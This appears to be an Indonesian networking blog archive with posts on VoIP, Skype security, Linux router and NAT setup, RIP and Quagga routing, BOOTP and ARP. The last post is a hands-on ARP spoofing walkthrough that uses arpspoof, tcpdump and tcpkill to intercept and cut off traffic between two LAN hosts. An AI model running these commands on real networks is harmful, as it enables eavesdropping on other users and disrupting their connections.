- Jika belum terhubung secara 24 jam ke internet perlu janji untuk saling berhubungan.

- Jika memakai internet dan komputer dibelakang NAT (Network Address Translation), maka dibutuhkan konfigurasi khusus untuk membuat VoIP tersebut berjalan

- Tidak pernah ada jaminan kualitas jika VoIP melewati internet.

- Peralatan relatif mahal. Peralatan VoIP yang menghubungkan antara VoIP dengan PABX (IP telephony gateway) relatif berharga mahal. Diharapkan dengan makin populernya VoIP ini maka harga peralatan tersebut juga mulai turun harganya.

- Berpotensi menyebabkan jaringan terhambat/Stuck. Jika pemakaian VoIP semakin banyak, maka ada potensi jaringan data yang ada menjadi penuh jika tidak diatur dengan baik. Pengaturan bandwidth adalah perlu agar jaringan di perusahaan tidak menjadi jenuh akibat pemakaian VoIP.

- Penggabungan jaringan tanpa dikoordinasi dengan baik akan menimbulkan kekacauan dalam sistem penomoran

Aplikasi VoIP dan Keamanannya

2008-12-03T13:42:00.001+07:00

Salah satu aplikasi VoIP yang tersedia adalah Skype. Skype adalah software aplikasi komunikasi suara berbasis IP melalui internet antara sesama pengguna Skype. Pada saat menggunakan Skype maka pengguna Skype yang sedang online akan mencari pengguna Skype lainnya lalu mulai membangun jaringan untuk menemukan pengguna-pengguna lainnya. Skype memiliki berbagai macam feature yang dapat memudahkan penggunanya. Skype juga dilengkapi dengan SkypeOut dan SkypeIn yang memungkinkan pengguna Skype untuk berhubungan dengan pengguna telepon konvensional dan telepon genggam.

Skype menggunakan protokol HTTP untuk berkomunikasi dengan Skype server untuk otentikasi username/password dan registrasi dengan Skype directory server. Versi modifikasi dari protokol HTTP digunakan untuk berkomunikasi dengan sesama Skype client. Keuntungan yang dimiliki aplikasi ini adalah tersedianya layanan keamanan dalam pentransmisian data yang berupa suara. Layanan keamanan yang diberikan adalah sebagai berikut :

1. Privacy

Skype menggunakan AES (Advanced Encryption Standard) 256-bit untuk proses enkripsi dengan total probabilitas percobaan kunci (brute-force attack) sebanyak 1,1 x E-77 kali, sedangkan untuk proses pertukaran kunci (key exchange) simetriknya menggunakan RSA 1024-bit. Public key pengguna akan disertifikasi oleh Skype server pada saat login dengan menggunakan sertifikat RSA 1536 atau 2048-bit. Skype secara otomatis akan mengenkripsi semua data sebelum ditransmisikan melalui internet.

2. Authentication

Setiap pengguna Skype memiliki sebuah username dan sebuah password. Dan setiap username memiliki sebuah alamat e-mail yang teregistrasi. Untuk masuk ke sistem Skype , pengguna harus menyertakan pasangan username dan passwordnya. Jika pengguna lupa password tersebut maka Skype akan mengubahnya dan mengirimkan password yang baru ke alamat e-mail pengguna yang sudah teregistrasi. Pendekatan ini dikenal dengan E-mail Based Identification and Authentication. Dikarenakan Skype merupakan sistem komunikasi suara maka setiap penggunanya dapat secara langsung mengidentifikasi lawan bicaranya melalui suaranya.

Sekilas tentang VOIP

2008-12-03T13:32:00.001+07:00

Voice over Internet Protocol (juga disebut VoIP, IP Telephony, Internet telephony atau Digital Phone) adalah teknologi yang memungkinkan percakapan suara jarak jauh melalui media internet. Data suara diubah menjadi kode digital dan dialirkan melalui jaringan yang mengirimkan paket-paket data, dan bukan lewat sirkuit analog telepon biasa.

Definisi VoIP adalah suara yang dikirim melalui protokol internet (IP).

Bentuk paling sederhana dalam sistem VoIP adalah dua buah komputer terhubung dengan internet. Syarat-syarat dasar untuk mengadakan koneksi VoIP adalah komputer yang terhubung ke internet, mempunyai kartu suara yang dihubungkan dengan speaker dan mikropon. Dengan dukungan perangkat lunak khusus, kedua pemakai komputer bisa saling terhubung dalam koneksi VoIP satu sama lain.

Bentuk hubungan tersebut bisa dalam bentuk pertukaran file, suara, gambar. Penekanan utama untuk dalam VoIP adalah hubungan keduanya dalam bentuk suara. Jika kedua lokasi terhubung dengan jarak yang cukup jauh (antar kota, antar negara) maka bisa dilihat keuntungan dari segi biaya. Kedua pihak hanya cukup membayar biaya pulsa internet saja, yang biasanya akan lebih murah daripada biaya pulsa telepon sambungan langsung jarak jauh (SLJJ) atau internasional (SLI).

Pada perkembangannya, sistem koneksi VoIP mengalami evolusi. Bentuk peralatan pun berkembang, tidak hanya berbentuk komputer yang saling berhubungan, tetapi peralatan lain seperti pesawat telephone biasa terhubung dengan jaringan VoIP. Jaringan data digital dengan gateway untuk VoIP memungkinkan berhubungan dengan PABX atau jaringan analog telephone biasa. Komunikasi antara komputer dengan pesawat (extension) di kantor adalah memungkinkan. Bentuk komunikasi bukan Cuma suara saja. Bisa berbentuk tulisan (chating) atau jika jaringannya cukup besar bisa dipakai untuk Video Conference. Dalam bentuk yang lebih lanjut komunikasi ini lebih dikenal dengan IP Telephony yang merupakan komunikasi bentuk multimedia sebagai kelanjutan bentuk komunkasi suara (VoIP). Keluwesan dari VoIP dalam bentuk jaringan, peralatan dan media komunikasinya membuat VoIP menjadi cepat popular di masyarakat umum.

Khusus untuk VoIP bentuk primitif dari jaringan adalah PC ke PC. Dengan memakai PC yang ada soundcardnya dan terhubung dengan jaringan maka sudah bisa dilakukan kegiatan VoIP . Perkembangan berikutnya adalah pengabungan jaringan PABX dengan jaringan VoIP. Disini dibutuhkan VoIP gateway. Gambarannya adalah lawan bicara menggunakan komputer untuk menghubungi sebuah office yang mempunyai VoIP gateway. Pengembangan lebih jauh dari konfigurasi ini berbentuk penggabungan PABX antara dua lokasi dengan menggunakan jaringan VoIP. Tidak terlalu dipedulin bentuk jaringan selama memakai protocol TCP/IP maka kedua lokasi bisa saling berhubungan. Yang paling komplek adalah bentuk jaringan yang menggunakan semua kemungkinan yang ada dengan berbagai macam bentuk jaringan yang tersedia. Dibutuhkan sedikit tambahan keahlian untuk bentuk jaringan yang komplek seperti itu.

Pada awalnya bentuk jaringan adalah tertutup antar lokasi untuk penggunaan sendiri (Interm, Privat). Bentuk jaringan VoIP kemudian berkembang lebih komplek. Untuk penggunaan antar cabang pada komunikasi internal, VoIP digunakan sebagai penyambung antar PABX. Perkembangan selanjutnya adalah gabungan PABX tersebut tidak lagi menggunakan jaringan tertutup tetapi telah memakai internet sebagai bentuk komunikasi antara kantor tersebut. Tingkat lebih lanjut adalah penggabungan antar jaringan. Dengan segala perkembangannya maka saat ini telah dibuat tingkatan (hirarky) dari jaringan Voip.

sumber: Wikipedia.org

Cara Setting IP address,Setting IP Foward dan Setting IPTABLES pada Router Statis

2008-11-28T18:58:00.004+07:00

Langkah-langkah :

# Set IP address ethernet card anda.

o di linux ethernet card 1 di baca sebagai eth0 ethernet card 2 dibaca sebagai eth1

o pada debian linux dan turunannya direktory untuk setting ip addres ada pada /etc/network/interface begitu juga dengan Redhat dan turunannya.

o untuk mengeditnya anda bisa menggunakan >> nano /etc/network/interface atau anda bisa menggunakan>> mcedit /etc/network/interface pastikan mc nya sudah terinstall atau anda bisa mengunakan>> vi /etc/network/interface

o Untuk suse anda bisa menggunakan Yast Sebagai software untuk mempermudah setting ip anda

o sebelum anda menulis ip addres nya anda harus tau topologinya

o di sini kita gambarkan ethernet 1 (eth0) di isi dengan ip dari sang ISP atau IP yang langsung bisa konek ke internet dah, dan untuk ethernet 2 (eth1) kita isi dengan ip kesayangan kita, karena ip ethernet 2 (eth1) adalah ip yang bakalan di jadikan ip klien untuk dapat browsing internet.

o pada pengisian ip addres untuk ethernet 1 (eth0) jangan lupa untuk mengisi Gateway nya karena Gateway sangat berperan penting, dan jangan lupa isi dns nya ya dan pastikan juga subnet mask nya sesuai tidak dengan yang di berikan sang ISP

o kira kira contoh settingnya seperti ini

o auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 118.98.160.130
netmask 255.255.255.248
network 118.98.160.128
broadcast 118.98.160.135
gateway 118.98.160.129
# dns-* options are implemented by the resolvconf package, if installed
dns-nameservers 118.98.160.130
dns-search ictdeli.edu
auto eth1
iface eth1 inet static
address 11.12.13.126
netmask 255.255.255.128
network 11.12.13.0
broadcast 11.12.13.127
# dns-* options are implemented by the resolvconf package, if installed
dns-nameservers 118.98.160.130
dns-search ictdeli.edu

# Setting IP Forward.

* Untuk Setting IP forward ada banyak pilihan
o periksa File /etc/network/options

o pada line 1 "no" di tukar dengan "yes" untuk beberapa distro yang menyediakan file /etc/network/options

o pada distro yang tidak memiliki file /etc/network/options maka anda harus mengedit file berikut ini /etc/sysctl.conf pada filetersebut tambah kan line berikut
net.ipv4.ip_forward="1"

o pada distro linux suse anda harus mencentang forward ip pada waktu setting IP gateway (ip route).

# Setting IPTABLES

* Fungsi Ip tables adalah untuk meneruskan paket data dari ethernet 2(eth1) untuk dapat melanjutkan paket data ke gateway pada ethernet 1(eth0)
* Untuk Mensettingnya cukup mudah dan banyak pilihan

1. iptables -t nat -A POSTROUTING -s (ipeth1/subnetnya) -j MASQUERADE

2. iptables -t nat -A POSTROUTING -s (ipeth1/subnetnya) -j SNAT --to-source ip(etho)

3. iptables -t nat -A POSTROUTING -o (eth0"ethernet yang konek langsung ke internet) -j MASQUERADE

* untuk ip tables di atas anda cukup pilih salah satu saja yang 1 , 2 atau yang ke 3
* nah untuk distro suse edit file ini /etc/sysconfig/SuSEfirewall2 dan search
* fwd_route
* masquerade
* set fwd_route pada mode yes
* set masquerade pada mode yes

# Sekarang Restartlah Network anda dengangan cara /etc/init.d/networking restart
# Coba lakukan anda ping ke gateway pada ethernet 1 (eth0) dari komputer klien
# jika reply selamat anda telah berhasil membuat linux anda sebagai router

Konfigurasi RIP

2008-11-26T10:25:00.001+07:00

Routing Information Protocol

Routing Information Protocol atau yang dikenal RIP adalah dinamik routing protokol yang sudah cukup tua. Di ciptakan sekitar tahun 1970.
Cara kerjanya berdasarkan Distance Vector Routing Protocol, yang berarti akan mempergunakan pendekatan berapa banyak hop (lompatan) router yang akan ditempuh untuk mencapai suatu network. Dan yang akan dipilih adalah hop terpendek.
Cara Kerja

RIP bekerja dengan menginformasikan status network yang dipegang secara langsung kepada router tetangganya.

Karakteristik dari RIP:

* Distance vector routing protocol
* Hop count sebagi metric untuk memilih rute
* Maximum hop count 15, hop ke 16 dianggap unreachable
* Secara default routing update 30 detik sekali
* RIPv1 (classfull routing protocol) tidak mengirimkan subnet mask pada update
* RIPv2 (classless routing protocol) mengirimkan subnet mask pada update

Satu hal yang perlu diperhatikan adalah RIP zebra secara default mempergunakan versi 2, sedangkan Cisco versi 1.
Konfigurasi

Sama halnya dengan zebra, daemon rip dapat dikonfigur lewat 2 cara.

Konfigurasi dengan 2 cara :

1. edit langsung pada file ripd.conf

root@opera zebra# vi ripd.conf
root@opera zebra# service ripd restart

2. melalui remote vty
telnet ke port 2602

root@opera zebra# telnet 127.0.0.1 2602
Hello, this is zebra (version 0.94).
Copyright 1996-2002 Kunihiro Ishiguro.

Konfigurasi RIP sangat sederhana, secara umum hanya membutuhkan 3 entri dalam running configurasi.
Masukkan network mempunyai router tetangga RIP dan network yang akan disebarkan ke router tetangga.

ripd(config)# router rip
ripd(config-router)# network 192.168.1.0/24
ripd(config-router)# network 10.1.1.0/24
ripd(config-router)# ^z
ripd#

Untuk memeriksa status RIP

ripd# show ip protocols
Routing Protocol is "rip"
Sending updates every 30 seconds with +/-50%, next due in 7 seconds
Timeout after 180 seconds, garbage collect after 120 seconds
Outgoing update filter list for all interface is not set
Incoming update filter list for all interface is not set
Default redistribution metric is 1
Redistributing:
Default version control: send version 2, receive version 2
Interface Send Recv Key-chain
Routing for Networks:
10.1.1.0/24
192.168.1.0/24
Routing Information Sources:
Gateway BadPackets BadRoutes Distance Last Update
Distance: (default is 120)

Untuk melihat routing yang didapat dari RIP tetangga.

ripd# show ip rip
Codes: R - RIP, C - connected, O - OSPF, B - BGP
(n) - normal, (s) - static, (d) - default, (r) - redistribute,
(i) - interface

Network Next Hop Metric From Time

Jangan lupa untuk menyimpan konfigurasi kedalam file.

ripd# write memory
Configuration saved to /etc/zebra/ripd.conf

Cara Routing dengan Quagga

2008-11-19T08:15:00.002+07:00

Quagga adalah sebuah software aplikasi yang digunakan untuk aplikasi routing
protocol. Bagian quagga seperti pada gambar1.
Arsitektur Quagga dibagi menjadi 2 yaitu :
1. Zebra – merupakan bagian penghubung antara linux kernel dengan aplikasi routing
protokol
2. Routing Daemon – merupakan aplikasi pengatur routing protokol. Misal: ospfd, adalah
aplikasi yang mengatur routing protokol OSPF, ripd adalah aplikasi yang mengatur
routing protokol RIP
Perintah Quagga, mirip dengan perintah yang ada di CISCO router.
Untuk installasi :
Router# apt-get install quagga quagga-doc
Gb. 1. Arsitektur Quagga
Konfigurasi awal quagga berada di direktori /etc/quagga
Router# ls /etc/quagga
daemons
debian.conf
Langkahlangkah
untuk menggunakan routing protokol :
1. Memilih daemon routing protokol yang akan digunakan
2. Membuat konfigurasi dasar
3. Mengaktifkan daemon
4. Login ke aplikasi routing protokol
5. Melakukan distribusi jaringan pada PC router
1. Memilih daemon routing protokol yang akan digunakan
Mengaktifkan quagga dengan cara mengedit file /etc/quagga/daemons
Router# vim /etc/quagga/daemons
Rubah protokol yang diinginkan dengan merubah “no” menjadi “yes”, contoh :
zebra=no
ospfd=no
Menjadi
zebra=yes
ospfd=yes
Artinya kita mengaktifkan zebra (wajib diaktifkan) dan protokol OSPF, contoh tersebut
bisa juga dilakukan untuk protokol routing lainnya.

2. Membuat konfigurasi dasar
Membuat konfigurasi awal, untuk tiaptiap
daemon yang diaktifkan. Pada langkah
pertama kita mengaktifkan zebra dan routing protokol, setelah itu kita juga harus
membuat file konfigurasi di direktori /etc/quagga/. File konfigurasi yang harus dibuat :
– zebra.conf
untuk aplikasi zebra (wajib)
– ospfd.conf
apabila kita menggunakan routing protokol OSPF
– ripd.conf
apabila kita menggunakan routing protokol RIP
– bgpd.conf
apabila kita menggunakan routing protokol BGP
Bisa juga dengan cara menyalin dari folder dokumentasi quagga. Folder dokumentasi
quagga berada di /usr/share/doc/quagga/examples/
Router# ls /usr/share/doc/quagga/examples/
bgpd.conf.sample ospf6d.conf.sample ripngd.conf.sample
bgpd.conf.sample2 ospfd.conf.sample vtysh.conf.sample
isisd.conf.sample ripd.conf.sample zebra.conf.sample
Cara menyalinnya :
Router# cp /usr/share/doc/quagga/examples/zebra.conf.sample /
etc/quagga/zebra.conf
Menyalin file zebra.conf.sample menjadi zebra.conf (tanpa sample).
Lakukan juga untuk routing protokol lainnya, misal ospfd.conf , ripd.conf atau bgpd.conf

3. Mengaktifkan daemon
Setelah membuat konfigurasi zebra.conf dan routing protokol (misal ospfd.conf), daemon
routing protokol perlu diaktifkan dengan cara :
Router# /etc/init.d/quagga start
Begitu juga untuk restart dan stop
Router# /etc/init.d/quagga stop
Router# /etc/init.d/quagga restart
Hal ini perlu dilakukan apabila kita telah mengganti konfigurasi dari quagga.
Router# /etc/init.d/quagga restart
Stopping Quagga daemons (prio:0): ospfd zebra (bgpd) (ripd)
(ripngd) (ospf6d).
Removing all routes made by zebra.
Nothing to flush.
Loading capability module if not yet done.
Starting Quagga daemons (prio:10): zebra ospfd.

4. Login ke aplikasi routing protokol
Untuk dapat login ke routing protokol, kita dapat menggunakan aplikasi TELNET,
sedangkan untuk mengetahui port dari aplikasi routing protokol dapat dilakukan dengan
perintah netstat nlptu
Untuk melihat port zebra dan routing daemon yang lainnya
Router# netstat -nlptu | grep zebra
tcp 0 0 127.0.0.1:2601 0.0.0.0:*
LISTEN 7567/zebra
Router# netstat -nlptu | grep ospfd
tcp 0 0 127.0.0.1:2604 0.0.0.0:*
LISTEN 7571/ospfd
Untuk zebra menggunakan port 2601 dan untuk ospfd 2604, artinya kita dapat masuk ke
aplikasi tersebut melalui portport
tersebut
Router# telnet localhost 2601
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
Hello, this is Quagga (version 0.98.3).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
User Access Verification
Password:
atau ke aplikasi ospfd pada port 2604
Router# telnet localhost 2604
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
Hello, this is Quagga (version 0.98.3).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
User Access Verification
Password:
Untuk login kita gunakan password awalnya “zebra” (tanpa petik dua, sesuai dengan
konfigurasi). Sehingga muncul
Router>
atau
ospfd>
Yang merupakan prompt awal pada quagga. Begitu juga apabila menggunakan ripd atau
lainnya.
5. Melakukan distribusi jaringan pada PC Router
Melakukan distribusi jaringan, artinya Router (dalam hal ini PC) akan saling bertanya dan
bertukar informasi tentang anggota jaringan.
Contoh :
Topologi Jaringan seperti gambar 2.
Dengan kondisi topologi diatas, apabila kita berada di network A, kita hanya dapat
mengetahui bahwa kita memiliki 2 jaringan 10.252.108.0/24 dengan 192.168.1.0/24.
Dapat dipastikan bahwa kita belum tentu tahu jaringan yang berada dibalik RouterB.
Begitu juga sebaliknya.
Gb. 2. Topologi
Supaya network A bisa menghubungi network B, pada routerA harus ditambahkan table
routing yang menuju ke Network B. Dengan perintah
RouterA# ip route add 192.168.2.0/24 via 10.252.108.15
Itu dapat dilakukan apabila kita mengetahui IP jaringan dibalik router B, dan apabila
jumlah jaringan yang dituju cuma 1. Bagaimana bila yang dituju ada 1000
Router ????
Untuk itu antar router harus saling bertukar informasi table routing dengan menggunakan
routing protokol, seperti ilustrasi di gb. 3.
Sehingga pada quagga kita dapat lakukan pendistribusian dengan cara :

Login ke aplikasi routing protokol (misal: ospfd dengan port 2604) dengan password
“zebra”
Router# telnet localhost 2604
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
Hello, this is Quagga (version 0.98.3).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
User Access Verification
Password:
ospfd>

Naik ke privillages berikutnya dengan perintah “enable”
ospfd> en
Gb. 3. Ilustrasi Routing Protokol

Masuk ke mode configurasi dengan perintah “configure terminal”
ospfd# conf t

Mengaktifkan tipe routing
ospfd(config)# router ospf

Mendistribusikan jaringan yang dimiliki oleh router
ospfd(config-router)# network 10.252.108.0/24 area 0
ospfd(config-router)# network 192.168.1.0/24 area 0
– Simpan konfigurasi dengan perintah:
CtrlZ
ospfd# wr
IP FORWARDING
PC Router harus diaktifkan ip forwardingnya melalui terminal dengan cara:
Router# echo 1 > /proc/sys/net/ipv4/ip_forward
Atau dengan cara mengaktifkan melalui zebra, dengan password “zebra”
– Telnet ke port 2601
Router# telnet localhost 2601
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
Hello, this is Quagga (version 0.98.3).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
User Access Verification
Password:
– Lakukan “enable” dengan password “zebra”
Router> en
Password:
– Masuk ke mode configurasi dengan perintah “configure terminal”
Router# conf t
– Mengaktifkan ip forwarding
Router(config)# ip forwarding
– Simpan dengan kembali ke mode enable dengan menekan CTRLZ,
kemudian lakukan
perintah “write memory”
Router(config)#
Router# wr
Configuration saved to /etc/quagga/zebra.conf

PERALATAN

1. PC Router : PC dengan 2 ethernet atau lebih
2. PC client
3. Switch

LANGKAH-LANGKAH
PRAKTIKUM

Tanpa menggunakan Routing Protokol
1. Siapkan jaringan dengan topologi seperti pada gambar berikut
2. Pada PC Router:

1. Uninstall aplikasi routing protocol dengan perintah : dpkg P
quagga
2. Pada interface pertama isikan dengan IP DHCP, gunakan perintah dhclient.
3. Pada interface kedua isikan IP class C dengan blok terakhir nomer 1. Misal pada
jaringan 192.168.1.0/24, isikan dengan ip address 192.168.1.1. Gunakan perintah
ifconfig atau iproute
4. Lakukan forwarding dengan mengaktifkan ip_forwarding
5. Catat hasil perintah: ip address show dan ip route show
3. Pada PC Client

1. Masukkan IP address sesuai dengan topologi. Misal pada topologi 192.168.1.0/24,
masukkan ip address 192.168.1.100 dengan netmask 255.255.255.0. (Jangan
gunakan ip 1 pada blok terakhirnya)

2. Masukkan default gateway ke arah IP 1. Misal pada topologi 192.168.1.0/24,
masukkan default gw 192.168.1.1

3. Catat hasil perintah : ip address show dan ip route show
Gb. 4. Topologi Praktikum

4. Lakukan mtr ke PC Client pada topologi tetangga atau PC router yang lainnya.
Menggunakan Routing Protocol

5. Install Routing Protocol
Router# aptget
install quagga quaggadoc

6. Lakukan konfigurasi routing protocol sesuai dengan ketentuan asisten praktikum (RIP

atau OSPF)
7. Pada PC router:

1. Lakukan pemilihan routing protokol
2. Lakukan konfigurasi dasar
3. Lakukan pengaktifan quagga
4. Login ke aplikasi routing
5. Lakukan pendistribusian Jaringan
8. Aktifkan ip forwarding pada PC Router
9. Catat hasil routing protokol pada aplikasi zebra

1. Login ke zebra dengan cara :
Router# telnet localhost 2601
2. Tampilkan hasil tabel routing
Router> show ip route
10.Lakukan mtr dari PC Client ke PC client pada jaringan yang berbeda, catat hasilnya

REFERENSI
– Wikipedia, http://www.wikipedia.com Quagga Software, OSPF, RIP
– Quagga, http://www.quagga.net

Protocol RIP

2008-11-19T08:08:00.000+07:00

RIP merupakan Interior Gateway Protocol yang didefinisikan dalam RFC ( Request For Comments ) 1058, adalah routing protocol yang paling diterima secara luas. Pada mulanya RIP adalah program routed UNIX daemon, yang mana didesain di U.C Barkeley Untuk menyediakan routing yang konsisten dan Penyampaian informasi diantara mesin - mesin pada Local Area Network. RIP menjadi populer bukan karena kehandalannya, tapi mungkin dikarenakan U.C Barkeley mendistribusikannya bersama dengan sistem 4. BSD UNIX mereka yang populer. Karena itu kemudian banyak situs internet mengadopsi dan memakai RIP tanpa mempertimbangkan kehandalan dan keterbatasannya. Sekali diimplementasikan dan berjalan, RIP menjadi basis untuk lokal routing.

RIP mem-broadcast seluruh update routing tabelnya secara periodik ( defaultnya setiap 30 detik ), dalam mencapai network tujuannya RIP mencatat setiap network ( router ) yang dilalui sebagai hop. RIP dikenal juga sebagai distance-vector routing algorithm yang berarti menggunakan distance ( jarak ) sebagai cost ( digunakan dalam metric routing protocol untuk menentukan jalur terbaik menuju network tujuan ) dan vector ( arah ) untuk mencapai network tujuan. Vector hanya menunjukkan arah pada router yang ” bertetangga”, tidak seluruh jalur network yang ada .

RIP akan bekerja baik hanya pada network berskala kecil, stabil dan berkecepatan tinggi. Karena metric yang dipakai hanya mengandalkan jarak, jarak terpendeklah yang akan dipakai sebagai jalur route, tidak ada parameter lain seperti speed link ataupun delay dari interface suatu perangkat ( router ). RIP akan memilih route dengan jarak ke tujuannya adalah 3 hop dengan kecepatan 56Kbps daripada route dengan jarak ke tujuannya adalah 4 hop dengan kecepatan 512Kbps. Selain itu, karena RIP mem-broadcast seluruh routing tabelnya secara periodik hanya kepada network yang “bertetangga” langsung, ini menyebabkan lambatnya informasi routing tabel yang telah diupdate sampai kepada network yang tidak bertetangga langsung ( network yang sudah melalui banyak hop ) sehingga nilainya sudah tidak lagi valid.

Karena dinilai lambat dalam pengumpulan informasi update routing tabel dalam topologi jaringan ( Network Convergence ), hop dalam RIP dibatasi hanya sampai 15, selain itu RIP juga sangat rawan akan terjadinya routing loop. Untuk menangani kekurangannya, maka RIP memberlakukan hal - hal berikut :

Route Poisoning : Digunakan untuk mengindikasikan pada router - router lain ( “tanda diracuni” ) bahwa sebuah router sudah tidak terjangkau ( lebih dari 15 hop ) dan harus dihapus dari routing tabel mereka.

Split Horizon : Interface router tidak akan mengirimkan informasi update routing tabel kepada interface router yang telah mengirimkan update routing tabel yang sama. Artinya, tidak beguna memberikan informasi kepada pemberi informasi.

Hold Down Timer : Metode yang digunakan untuk mengantisipasi keadaan network yang tidak stabil, yang disebabkan oleh penyebaran informasi update routing tabel yang belum tentu kevalidan nilainya. Dengan kata lain, hold down akan menjaga sebuah router dalam mengumumkan perubahan routing tabelnya sampai kondisi network stabil dan sebuah interface benar - benar sudah mendapatkan route terbaik. Untuk menunggu keadaan network stabil, dibutuhkan parameter waktu yang bisa di-set.Ketika router mendeteksi perubahan network, hold down timer dimulai, router akan menunggu kestabilan network berdasarkan hold down timer yang telah ditentukan. Ketika waktu yang ditentukan telah habis, router baru menginformasikan update routing tabelnya.

RIP tidak bisa membaca subnet dalam pengalamatannya, RIP hanya bisa membaca Classfull address, artinya dia hanya mengerti pengalamatan berdasarkan kelas address dengan subnetmask default.

- Kelas A ( 0 - 126 ) subnet mask 255.0.0.0

- KelasB ( 128 - 191 ) subnet mask 255.255.0.0

- Kelas C ( 192 - 223 ) subnet mask 255.255.255.0

RIP tidak dilengkapi perbekalan untuk bertukar informasi subnet antar router, network kita dan network tujuan sebaiknya memliki subnet mask yang sama agar RIP dapat mengirimkan paket IP di seluruh network kita, jika tidak RIP akan kesulitan untuk menentukan yang mana alamat network dan yang mana alamat host karena RIP tidak mampu secara dinamis mengupdate atau merubah subnet mask.

Sekilas Tentang BOOTP

2008-11-15T14:45:00.000+07:00

Bootstrap Protocol (BOOTP)

Dikembangkan untuk membuat komputer menginisialisasi dirinya pada suatu jaringan (RFC951).

Dibandingankan dengan DHCP memang terbatas, tetapi karena DHCP dibangun di atas BOOTP, maka perlu untuk memahami struktur pesan dan protocol BOOTP sebelum memperhatikan DHCP lebih jauh.

Lebih lanjut, karena kebanyakan implementasi DHCP juga berfungsi sebagai server BOOTP, maka BOOTP harus dipahami.

Biasanya BOOTP mencakup komputer yang meminta informasi diperlukan untuk menginisialisasi.

Komputer dapat meminta 3 informasi kepada server, yaitu :

1. Informasi mengenai IP Address.
Berguna supaya komputer dapat menginisialisasi interface jaringannya.

2. Informasi IP Address suatu mesin di server (bootserver).
Berguna untuk menyediakan sebuah file bagi sebuah mesin untk load dan berjalan.

3. Nama file yang harus diload.

Dengan informasi tersebut, client dapat menginisialisasi jaringannya, terhubung ke bootserver (alamatnya sekarang diketahui), dan meload bootfile yang ditunjuk dengan menggunakan protocol sederhana seperti TFTP.

Bootfile biasanya berisi informasi lain yang dibutuhkan client untuk konfigurasi, dalam format yang memiliki signifikansi hanya dengan client.

Selain itu bootfile dapat menjadi gambaran software keseluruha yang akan diload dan dijalankan oleh client.

Sekilas Tentang ARP

2008-11-15T14:17:00.002+07:00

Address Resolution Protocol (ARP) adalah protokol untuk mapping dari alamat IP (Internet Protocol) ke alamat fisik MAC (Media Access Control). Misal di suatu jaringan kita ingin mengirim paket ke host A 192.168.1.2, maka pertama kita harus tahu sapa yg mempunyai alamat IP tsb. Maka ARP akan membroadcast pertanyaan tsb ke semua host yang ada di jaringan. Sang empunya alamat IP tsb akan menjawab kembali sahutan tsb dengan mengirimkan alamat MACnya. Alamat MAC ini akan disimpan di tabel ARP untuk memudahkan pencarian jika diperlukan pengiriman paket ke tujuan yang sama.

Seperti apa bentuk format frame ARP? Terdiri dari 2 bagian, yaitu header ethernet dan paket ARP. Header ethernet berupa :
- 6 byte alamat tujuan
- 6 byte alamat pengirim
- 2 byte jenis frame ARP

Sedangkan paket ARPna berupa :
- 2 byte jenis alamat hardware (1 = ethernet)
- 2 byte jenis protokol yang di map (0800H = alamat IP)
- 1 byte ukuran alamat hardware
- 1 byte ukuran protokol
- 2 byte tipe operasi (1 = ARP request, 2=ARP reply, 3=*RARP request
,4=RARP reply)
- 6 byte alamat ethernet pengirim
- 4 byte alamat IP pengirim
- 6 byte alamat ethernet penerima
- 4 byte alamat IP penerima

*RARP (Reverse Address Resolution Protocol) digunakan untuk sistem komputer diskless, guna mendapatkan alamat IP mereka saat boot.

ARP Spoofing merupakan suatu kegiatan yang memanipulasi paket ARP. Misal paket X dari komputer A ditujukan untuk komputer B, ketika komputer A membroadcast paket ARP di jaringan, maka komputer C sang manipulator dapat "meracuni" (Posioning) paket ARP tsb agar paket X ditujukan ke komputer C terlebih dahulu baru diforward ke komputer B. Poisoning ini mengganti alamat MAC komputer B dengan alamat MAC komputer C di tabel ARP komputer A dan sebaliknya, alamat MAC komputer A diganti menjadi alamat MAC komputer C di tabel ARP komputer B. Jenis-jenis serangan yang bisa dilakukan dengan ARP Spoofing diantaranya adalah sniffing, Man in the Middle, MAC Flooding, DoS (Denial of Service), Hijacking n Cloning.

Apa saja sih yg diperlukan buat ARP Spoofing ini? Kalo saya pakai arpspoof yang ada di paket dsniff-2.3 untuk OS Linux. sebelum menginstall dsniff ini perlu dicek apakah di sistem yang digunakan sudah terinstall libnet ma libnids. Jangan lupa untuk jenis attacking sniffing ato MIM perlu IP Forwarding diaktifkan (echo 1 > /proc/sys/net/ipv4/ip_forward).

Seperti biasa, unpack paket dsniff lalu configure dan terakhir pake install.Pas saat makai, saya sempat dapat error compiling module sshcrypto :

sshcrypto.c:30: error: parse error before "des_key_schedule"
....blablabla
....blablabla
*** Error code 1

Solusinya kita buka dan edit file sshcrypto.c di folder dsniff-2.3, tambahkan :

#include
#include

di deklarasi file header yang diperlukan. Bila sudah selesai dan tidak ada error lagi, coba jalankan si dsniff atau si arpspoof

kita coba meracuni dan ngendus paket antara komputer A 192.168.1.1 n komputer B 192.168.1.3, komputer C (attacker) 192.168.1.6.

jalankan si arpspoof terlebih dahulu :

root@slack:~# arpspoof -t 192.168.1.1 192.168.1.3 & >/dev/null
root@slack:~# arpspoof -t 192.168.1.3 192.168.1.1 & >/dev/null

kalo sudah benar nanti di console akan muncul seperti ini :

0:c:29:3e:2d:46 0:15:e9:b5:83:62 0806 42: arp reply 192.168.1.3 is-at 0:c:29:3e:2d:46
0:e0:29:63:d1:6 0:15:e9:b5:83:62 0806 42: arp reply 192.168.1.3 is-at 0:e0:29:63:d1:6

Setelah itu bisa kita endus pake dsniff ato tcpdump, misalkan mau pakai tcpdump bisa kita capture hasilna ke file, pake :

root@slack:~# tcpdump -i eth0 -w endus.txt

dimana eth0 adalah interface card dan endus.txt adalah nama file outputna :). Kalo file tsb dibuka masi kaco isina >.<, jadi bisa kita lihat dengan tcpdump juga, pakai :

root@slack:~# tcpdump -r endus.txt

lumayan asik kan ARP Spoofing, tidak hanya buat sniffing juga tapi bisa kita blok koneksi tertentu misal :

root@slack:~# tcpkill -9 host www.playboy.com

Untuk mematikan proses si arpspoof n tcpdump bisa dengan cara :

root@slack:~# killall arpspoof
